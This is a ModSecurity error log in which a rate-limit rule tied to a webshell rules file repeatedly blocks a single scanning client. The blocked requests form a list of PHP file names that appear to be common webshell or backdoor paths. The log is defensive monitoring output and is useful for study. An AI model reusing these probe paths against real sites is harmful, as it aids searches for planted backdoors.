[Wed Apr 22 23:36:23.001154 2026] [:error] [pid 23776:tid 23795] [client 68.219.234.17:35518] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aejq9rRExf-1pAbSeJsvmgAAAZE"]
[Wed Apr 22 23:36:23.547652 2026] [:error] [pid 6384:tid 6387] [client 68.219.234.17:35409] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aejq9z58M3t15ICeWHWX3QAAAMA"]
[Wed Apr 22 23:36:24.070583 2026] [:error] [pid 23776:tid 23781] [client 68.219.234.17:35489] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aejq-LRExf-1pAbSeJsvngAAAYM"]
[Wed Apr 22 23:36:24.628946 2026] [:error] [pid 23776:tid 23779] [client 68.219.234.17:35458] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aejq-LRExf-1pAbSeJsvogAAAYE"]
[Wed Apr 22 23:36:25.217531 2026] [:error] [pid 6344:tid 6363] [client 68.219.234.17:35477] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aejq-UDOTF-pkQnDeUkdOQAAAA4"]
[Wed Apr 22 23:36:25.889998 2026] [:error] [pid 6384:tid 6396] [client 68.219.234.17:35393] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aejq-T58M3t15ICeWHWX4gAAAMk"]
[Wed Apr 22 23:36:26.681012 2026] [:error] [pid 23776:tid 23782] [client 68.219.234.17:35488] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aejq-rRExf-1pAbSeJsvqQAAAYQ"]
[Wed Apr 22 23:36:27.361140 2026] [:error] [pid 6252:tid 6332] [client 68.219.234.17:35397] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-kikikoko.php"] [unique_id "aejq--tGYuiYb1nWBpRrLgAAARQ"]
[Wed Apr 22 23:36:27.931344 2026] [:error] [pid 6384:tid 6411] [client 68.219.234.17:35473] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-kikikoko.php"] [unique_id "aejq-z58M3t15ICeWHWX5wAAANg"]
[Wed Apr 22 23:36:28.823505 2026] [:error] [pid 6250:tid 6267] [client 68.219.234.17:8152] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-kikikoko.php"] [unique_id "aejq_A-iZeQkqmQVfj4xwAAAAE0"]
[Wed Apr 22 23:36:29.477145 2026] [:error] [pid 23776:tid 23783] [client 68.219.234.17:35510] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-kikikoko.php"] [unique_id "aejq_bRExf-1pAbSeJsvsAAAAYU"]
[Wed Apr 22 23:36:30.100481 2026] [:error] [pid 6250:tid 6277] [client 68.219.234.17:35465] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aejq_g-iZeQkqmQVfj4xwwAAAFc"]
[Wed Apr 22 23:36:30.634420 2026] [:error] [pid 6250:tid 6257] [client 68.219.234.17:35406] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aejq_g-iZeQkqmQVfj4xxQAAAEM"]
[Wed Apr 22 23:36:31.213381 2026] [:error] [pid 6250:tid 6268] [client 68.219.234.17:8145] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aejq_w-iZeQkqmQVfj4xxgAAAE4"]
[Wed Apr 22 23:36:31.806029 2026] [:error] [pid 23776:tid 23784] [client 68.219.234.17:35513] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aejq_7RExf-1pAbSeJsvugAAAYY"]
[Wed Apr 22 23:36:32.459190 2026] [:error] [pid 23776:tid 23791] [client 68.219.234.17:35487] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ganja.php"] [unique_id "aejrALRExf-1pAbSeJsvvQAAAY0"]
[Wed Apr 22 23:36:32.990177 2026] [:error] [pid 6250:tid 6254] [client 68.219.234.17:35414] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ganja.php"] [unique_id "aejrAA-iZeQkqmQVfj4xzQAAAEA"]
[Wed Apr 22 23:36:33.722943 2026] [:error] [pid 6384:tid 6408] [client 68.219.234.17:35482] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ganja.php"] [unique_id "aejrAT58M3t15ICeWHWX6wAAANU"]
[Wed Apr 22 23:36:34.390379 2026] [:error] [pid 9085:tid 9103] [client 68.219.234.17:35426] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ganja.php"] [unique_id "aejrAt-_-or9vQnlWnrkIgAAAVA"]
[Wed Apr 22 23:36:35.079741 2026] [:error] [pid 9085:tid 9102] [client 68.219.234.17:35485] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "aejrA9-_-or9vQnlWnrkJAAAAU8"]
[Wed Apr 22 23:36:35.663753 2026] [:error] [pid 6384:tid 6403] [client 68.219.234.17:8157] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "aejrAz58M3t15ICeWHWX7wAAANA"]
[Wed Apr 22 23:36:36.281002 2026] [:error] [pid 6250:tid 6264] [client 68.219.234.17:35436] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "aejrBA-iZeQkqmQVfj4x1gAAAEo"]
[Wed Apr 22 23:36:36.850537 2026] [:error] [pid 9085:tid 9093] [client 68.219.234.17:8140] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "aejrBN-_-or9vQnlWnrkLQAAAUY"]
[Wed Apr 22 23:36:37.548464 2026] [:error] [pid 9085:tid 9107] [client 68.219.234.17:35413] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad821.php"] [unique_id "aejrBd-_-or9vQnlWnrkMwAAAVQ"]
[Wed Apr 22 23:36:38.135316 2026] [:error] [pid 23776:tid 23789] [client 68.219.234.17:35400] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad821.php"] [unique_id "aejrBrRExf-1pAbSeJsvxAAAAYs"]
[Wed Apr 22 23:36:38.703404 2026] [:error] [pid 6384:tid 6395] [client 68.219.234.17:35403] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad821.php"] [unique_id "aejrBj58M3t15ICeWHWX9QAAAMg"]
[Wed Apr 22 23:36:39.245168 2026] [:error] [pid 6384:tid 6396] [client 68.219.234.17:35464] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad821.php"] [unique_id "aejrBz58M3t15ICeWHWX-QAAAMk"]
[Wed Apr 22 23:36:39.787459 2026] [:error] [pid 6252:tid 6324] [client 68.219.234.17:35418] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad8210.php"] [unique_id "aejrB-tGYuiYb1nWBpRrPgAAAQw"]
[Wed Apr 22 23:36:40.356201 2026] [:error] [pid 23776:tid 23790] [client 68.219.234.17:35437] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad8210.php"] [unique_id "aejrCLRExf-1pAbSeJsvxwAAAYw"]
[Wed Apr 22 23:36:40.929248 2026] [:error] [pid 6384:tid 6393] [client 68.219.234.17:35483] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad8210.php"] [unique_id "aejrCD58M3t15ICeWHWYAAAAAMY"]
[Wed Apr 22 23:36:41.647937 2026] [:error] [pid 6344:tid 6349] [client 68.219.234.17:35445] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sad8210.php"] [unique_id "aejrCUDOTF-pkQnDeUkdPgAAAAA"]
[Wed Apr 22 23:36:42.406753 2026] [:error] [pid 6384:tid 6401] [client 68.219.234.17:35428] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aejrCj58M3t15ICeWHWYCAAAAM4"]
[Wed Apr 22 23:36:43.032535 2026] [:error] [pid 6252:tid 6334] [client 68.219.234.17:35423] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aejrC-tGYuiYb1nWBpRrPwAAARY"]
[Wed Apr 22 23:36:43.723579 2026] [:error] [pid 6252:tid 6330] [client 68.219.234.17:35515] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aejrC-tGYuiYb1nWBpRrQAAAARI"]
[Wed Apr 22 23:36:44.317781 2026] [:error] [pid 6250:tid 6256] [client 68.219.234.17:35501] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aejrDA-iZeQkqmQVfj4x3QAAAEI"]
[Wed Apr 22 23:36:44.972948 2026] [:error] [pid 23776:tid 23781] [client 68.219.234.17:35476] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "aejrDLRExf-1pAbSeJsvywAAAYM"]
[Wed Apr 22 23:36:45.813280 2026] [:error] [pid 6344:tid 6353] [client 68.219.234.17:35422] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "aejrDUDOTF-pkQnDeUkdRQAAAAQ"]
[Wed Apr 22 23:36:46.868536 2026] [:error] [pid 23776:tid 23788] [client 68.219.234.17:35394] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "aejrDrRExf-1pAbSeJsvzQAAAYo"]
[Wed Apr 22 23:36:47.522055 2026] [:error] [pid 6344:tid 6367] [client 68.219.234.17:35417] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "aejrD0DOTF-pkQnDeUkdSgAAABI"]
[Wed Apr 22 23:36:48.162906 2026] [:error] [pid 6250:tid 6278] [client 68.219.234.17:35471] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aejrEA-iZeQkqmQVfj4x5AAAAFg"]
[Wed Apr 22 23:36:49.107135 2026] [:error] [pid 6250:tid 6263] [client 68.219.234.17:35402] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aejrEQ-iZeQkqmQVfj4x5gAAAEk"]
[Wed Apr 22 23:36:49.957684 2026] [:error] [pid 6250:tid 6275] [client 68.219.234.17:8155] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aejrEQ-iZeQkqmQVfj4x6QAAAFU"]
[Wed Apr 22 23:36:51.196323 2026] [:error] [pid 6384:tid 6397] [client 68.219.234.17:35432] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aejrEz58M3t15ICeWHWYEQAAAMo"]
[Wed Apr 22 23:36:52.077824 2026] [:error] [pid 6344:tid 6369] [client 68.219.234.17:35459] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aejrFEDOTF-pkQnDeUkdVQAAABQ"]
[Wed Apr 22 23:36:53.485338 2026] [:error] [pid 9085:tid 9099] [client 68.219.234.17:8173] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aejrFd-_-or9vQnlWnrkTgAAAUw"]
[Wed Apr 22 23:36:54.191086 2026] [:error] [pid 6250:tid 6254] [client 68.219.234.17:35463] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aejrFg-iZeQkqmQVfj4x7wAAAEA"]
[Wed Apr 22 23:36:55.112149 2026] [:error] [pid 6252:tid 6328] [client 68.219.234.17:35472] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aejrF-tGYuiYb1nWBpRrUQAAARA"]
[Wed Apr 22 23:36:56.072361 2026] [:error] [pid 6344:tid 6369] [client 68.219.234.17:35420] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aejrGEDOTF-pkQnDeUkdXQAAABQ"]
[Wed Apr 22 23:36:56.828627 2026] [:error] [pid 9085:tid 9101] [client 68.219.234.17:35505] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aejrGN-_-or9vQnlWnrkUgAAAU4"]
[Wed Apr 22 23:36:57.694546 2026] [:error] [pid 6250:tid 6265] [client 68.219.234.17:35456] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aejrGQ-iZeQkqmQVfj4x9wAAAEs"]
[Wed Apr 22 23:36:58.688161 2026] [:error] [pid 23776:tid 23781] [client 68.219.234.17:35410] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "aejrGrRExf-1pAbSeJsv1gAAAYM"]
[Wed Apr 22 23:36:59.271000 2026] [:error] [pid 6250:tid 6271] [client 68.219.234.17:35451] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aejrGw-iZeQkqmQVfj4x-gAAAFE"]
[Wed Apr 22 23:37:00.005484 2026] [:error] [pid 6250:tid 6254] [client 68.219.234.17:35457] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aejrHA-iZeQkqmQVfj4x_gAAAEA"]
[Wed Apr 22 23:37:00.801963 2026] [:error] [pid 6251:tid 6287] [client 68.219.234.17:8134] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aejrHCsFAzbyObL-SQ6X7QAAAII"]
[Wed Apr 22 23:37:01.768218 2026] [:error] [pid 6344:tid 6371] [client 68.219.234.17:35444] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aejrHUDOTF-pkQnDeUkdbQAAABY"]
[Wed Apr 22 23:37:02.629563 2026] [:error] [pid 6250:tid 6274] [client 68.219.234.17:8141] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aejrHg-iZeQkqmQVfj4yBgAAAFQ"]
